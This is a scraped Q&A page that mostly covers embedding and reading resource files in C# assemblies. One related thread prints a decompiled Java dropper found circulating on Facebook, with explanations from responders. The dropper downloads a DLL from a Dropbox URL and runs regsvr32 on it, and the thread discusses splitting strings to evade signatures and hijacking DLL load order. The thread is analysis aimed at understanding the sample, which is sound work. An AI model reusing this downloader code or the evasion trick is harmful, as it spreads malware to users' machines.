Adding resources(XML) to DLL in C# - c#

I have follow project structure
/build-out/MyApp.dll
/dependencies/ResFile.xml
/src/MyFile.cs
In MyFile.cs I want to open mine ResFile.xml that is in /dependencies directory and read it for some needs. All works like a charm in Visual Studio but when I make an dll and use it with another apps(as external library) I get an error because it can't find dependencies/ResFile.xml file.
So, how resorce file can be added to result MyApp.dll file?

There are a few articles on StackOverflow about it, but some quick notes and code ...
Make sure you mark the file as an "Embedded Resource" in the properties under Build Action.
I am using some code to read html files from a DLL and this is roughly how I get it into a string. Gives you the general idea I hope.
foreach (string resource in Assembly.GetExecutingAssembly().GetManifestResourceNames())
{
if (resource.EndsWith("Snippet.htm"))
{
Stream s = Assembly.GetExecutingAssembly().GetManifestResourceStream(resource);
byte[] buff = new byte[s.Length];
s.Read(buff, 0, buff.Length);
string snippet = Encoding.UTF8.GetString(buff);
}
}

Related

Can anyone explain the following piece of anonymous/mischief code for windows?

Warning:
DO NOT EXECUTE THIS CODE ON ANY MACHINE. IT COULD BE A MALICIOUS CODE
Hi,
I got a file on fb, from someone which obviously looked like a virus. So I downloaded it happy that I am not on Windows.
I scanned it on virustotal, and it said this file was just scanned sometime ago meaning this file has been circulating a while. I scanned it still and virustotal says its clean.
So its Zip file, with a jar file and when I decompiled the .class file in jar file to java code, it had hardcoded strings to C:\ drive and a dropbox url to download a dat file. Then uses regsvr to do some registry level changes.
So, on that note it was nicely concealed with an innocent jar file. But even the downloaded module.dat file looks to virus free according to virustotal
Manifest File:
Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045
But can someone explain what this code does exactly ? before moving down to code..
The dat file seems to be having this :
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
public static void main(String[] paramArrayOfString)
throws Exception
{
String str1 = "C:\\T";
str1 = str1.concat("emp");
File localFile1 = new File(str1);
localFile1.mkdir();
File localFile2 = new File("C:\\Temp\\asdfr1.dat");
if (localFile2.exists())
{
proc();
} else {
String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
String str3 = "C:\\Temp\\asdfr1.dat";
dl(str2, str3);
}
}
public static void proc()
throws IOException
{
int i = 1;
while (i < 7)
{
bala();
i++;
}
}
public static void bala()
throws IOException
{
String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
Runtime localRuntime = Runtime.getRuntime();
Process localProcess = localRuntime.exec(arrayOfString);
}
public static void dl(String paramString1, String paramString2)
throws IOException
{
URL localURL = new URL(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte[250000];
InputStream localInputStream = localURL.openStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) != -1)
localFileOutputStream.write(arrayOfByte, 0, i);
localInputStream.close();
localFileOutputStream.close();
proc();
}
}
Can someone explain about
What is a PE32 dll? Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ? and I am not much aware of regsvr codes.. What is it doing with respect to the registry entries and the dlls involved [I have provided the link below which is an analysis of the dat file contents] (without executing it :))
I also have the dat file analysis link for someone to look into the registry, dlls, locks involved
https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/
The code downloads a file from external dropbox account and register it in the system. The file is DLL library. The DLL is stored in C:\Temp folder.
Question: Can someone explain about What is a PE32 dll?
http://en.wikipedia.org/wiki/Portable_Executable
Question: Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ?
An attacker prevents a signature detecting.
Question: What is it doing with respect to the registry entries and the dlls involved?
An attacker uses the fact that any application searches required dlls in determined order. The first location is a current folder.
The attacker scenario: user runs any application from C:\Temp folder. If the application uses methods from namesake DLL, it finds malicious DLL first and executes its code.
I also received this content yesterday and unfortunately I ran this jar file. it triggered the same attachment to persons in my contact list. I had a glance at the class file using java decompiler and found the same given above.
Its actually trying to download the DAT file and trying to register it using regsvr32. but, there is an error while registering that. I got to know when i intentionally tried to register it to know what is the key under which it would install. DLL register is not working.
But, one big problem with this virus is, it is getting transmitted to all the users in our contact list and trying to circulate itself.
As of now, the DAT file is unavailable(it is downloaded from DROPBOXUSERCONTENT.com). due to high traffic, the file access is denied now.
Solution : Try to remove the file and folder "C:\TEMP\ASDFR1.dat". File gets deleted easily, but folder deletion might not work. In that case, try to restore ur system. After that i was able to delete the folder.
Please let me know if I need to do anything more.

Assembly.GetManifestResourceStream not working with Xamarin on iOS

The following code works fine in Windows, however, when using Xamarin and targeting iOS, GetManifestResourceStream() returns null.
Assembly assembly = Assembly.GetExecutingAssembly();
Stream stream = assembly.GetManifestResourceStream("CommunicationModel.XmlSchemas.DeviceCommon.xsd");
I have set the file 'DeviceCommon.xsd' as an Embedded Resource. Not sure why it is not returning a valid stream.
Does anybody know why this is not working in iOS using Xamarin?
UPDATE:
Ok, so I followed the advice in the comments and set the file to Content.
I can now detect the file, but cannot open it:
if (File.Exists("DeviceCommon.xsd"))
{
try
{
myStream = new FileStream("DeviceCommon.xsd", FileMode.Open);
}
....
}
When I run the above code, the 'File.Exists()' call works, but when I attempt to open it, I get the following exception:
Access to the path "/private/var/mobile/Applications/8BD48D1F-F8E8-4A80-A446-F807C6728805/UpnpUI_iOS.app/DeviceCommon.xsd" is denied.
Anybody have some ideas how I can fix this???
Thanks,
Curtis
Ok, I finally got it to work. In my case, I was using the same files for a windows .dll and for a Xamarin.iOS.dll. I had named the .dll projects differently, though the namespaces were the same. Unfortunately, the microsoft documentation says that they use the namespace as part of the filename. That is no true.. They use the .dll name as part of the namespace. Just a slight difference, but makes all the difference.
So, to the point.. I set the file properties to: 'Embedded Resource' and 'Do not copy'. The resources I needed to process were all files with an .xsd extension, so I just looped through all resource names and used those that ended in .xsd. This way, no matter what operating system they were on, the name would be right because I retrieved it programmatically and didn't hard code it:
Assembly assembly = Assembly.GetExecutingAssembly();
string[] resources = assembly.GetManifestResourceNames();
foreach (string resource in resources)
{
if(resource.EndsWith(".xsd"))
{
Stream stream = assembly.GetManifestResourceStream(resource);
if (stream != null)
{
XmlSchema schema = XmlSchema.Read(stream, null);
_schemas.Add(schema);
}
}
}
As for me what I had to do is prefix it properly. Instead of looking for "fooBar.baz", look for "The.Name.Of.The.Assembly.The.Folder.Inside.fooBar.baz".

Accessing Resources at Runtime

I have an XML file included as part of my Silverlight 4.0 project that I'd like to access at runtime. I have the file saved in a directory named Resources with the Build Action set to "Content" and the Copy to Output Directory set to "Do not copy". If I decompress the XAP file, I see the XML file in the location I expect it to be, but I'm not sure how to reference it from code. I currently have the following:
Stream stream = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(#"/AssemblyName;component/Resources/MyFile.xml")
Unfortunately, stream is null after running the code above. In addition to the path mentioned above, I've tried "/Resources/MyFile.xml", "/MyFile.xml" and "MyFile.xml", but they all experience the same behavior.
What is the correct way to access an XML file embedded as a resource in a Silverlight application?
A resource with build action "Content" just gets embedded into the xap file, with the same relative directory structure as the application. It does not get embedded as a resource in the assembly.
When set to build action "Content", you should be able to just load the file using something like (or whatever suits your needs):
XElement.Load(<relative directory>/<file>)
The method you're using currently (using a resource stream) is for embedded resources (which have their build action set to "Resource"). And for those, although I haven't tried yet if your method works, usually you'll get the resources using
Application.GetResourceStream
I have used the code snip below to get access to drawables. Not sure it's completely relevant, but hoping this will give you a hint one way or another ...
Resources res = getResources();
spec = tabHost.newTabSpec("groups").setIndicator("Groups", res.getDrawable(R.drawable.ic_tab_groups)).setContent(intent);
As was mentioned by Willem van Rumpt, "content" resources are not usual resources (they aren't stored in assembly). I've checked out this article and could't found at all that you could reference resource, marked as "content" from other assembly.
So, you have two options:
Define XML as embedded resource
Define XML as resource
In first case stream request looks like:
var a = Assembly.Load("AssemblyName");
var s = a.GetManifestResourceStream(#"DefaultNamespace.Resources.XMLFile2.xml");
In second case:
var a = Assembly.Load("AssemblyName");
var rm = new ResourceManager("AssemblyName.g", a);
using (var set = rm.GetResourceSet(CultureInfo.CurrentCulture, true, true))
{
var ums = (UnmanagedMemoryStream)set.GetObject(#"Resources/XMLFile1.xml", true);
}
Hope this helps.

Embed a Word Document in C#

I want to open a MS Word document from my program. At the moment, it can find it when in designer mode but when i publish my program it can't find the file. I believe I need to embed it into my program but I don't know how to do this. This is my current code to open the document:
System.Diagnostics.Process.Start("Manual.docx");
I think the Word document needs to be embedded into the resources of the .exe but i don't know how to to do this.
Can anyone help with some suggestions?
Aaron is pretty right on adding an embedded resource. Do the following to access an embedded resource:
Assembly thisAssembly;
thisAssembly = Assembly.GetExecutingAssembly();
Stream someStream;
someStream = thisAssembly.GetManifestResourceStream("Namespace.Resources.FilenameWithExt");
More info here:
How to embed and access resources by using Visual C#
Edit: Now to actually run the file you will need to copy the file in some temp dir. You can use the following function to save the stream.
public void SaveStreamToFile(string fileFullPath, Stream stream)
{
if (stream.Length == 0) return;
// Create a FileStream object to write a stream to a file
using (FileStream fileStream = System.IO.File.Create(fileFullPath, (int)stream.Length))
{
// Fill the bytes[] array with the stream data
byte[] bytesInStream = new byte[stream.Length];
stream.Read(bytesInStream, 0, (int)bytesInStream.Length);
// Use FileStream object to write to the specified file
fileStream.Write(bytesInStream, 0, bytesInStream.Length);
}
}
Right click the folder where you want to store the file within the Solution and choose Add -> Existing Item.
Once you add the file you can change the Build Action of the file within your project to be an Embedded Resource, versus a Resource. This can be done by going to the Properties within VS of the file and modifying the Build Action property.
Just include it to your project (add existing item) and from the menu that opens, select all files and select your word document. Also Copy the document into your Bin/Debug folder. If you are using an installer, include the document in the installer and it should work.

Embedding a binary file inside a class library

Is it possible to embed a custom binary file inside a C# class library and then at runtime read it with a binary reader?
I'm guessing it might be possible through resources.
Many thanks
You can do this by adding the file to the Resources through the project properties. Visual studio will then give you a handy class to access your file using the following code
byte[] theFile = myNamespace.Properties.Resources.theBinaryFile;
Where the resource name is theBinaryFile.
Yes it is easy:
Add the file to your project and set the "Build action" to "Embedded resource".
In your program do
foreach (string name in Assembly.GetExecutingAssembly().GetManifestResourceNames())
{
if (name.EndsWith("<name>", StringComparison.InvariantCultureIgnoreCase))
{
using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name))
{
// ...
}
break;
}
}
Finding the right resource is a little bit complicating because there is stuff in front of the file name (namespaces etc. set a breakpoint to the if(...) to see the real resource name).

Categories

Resources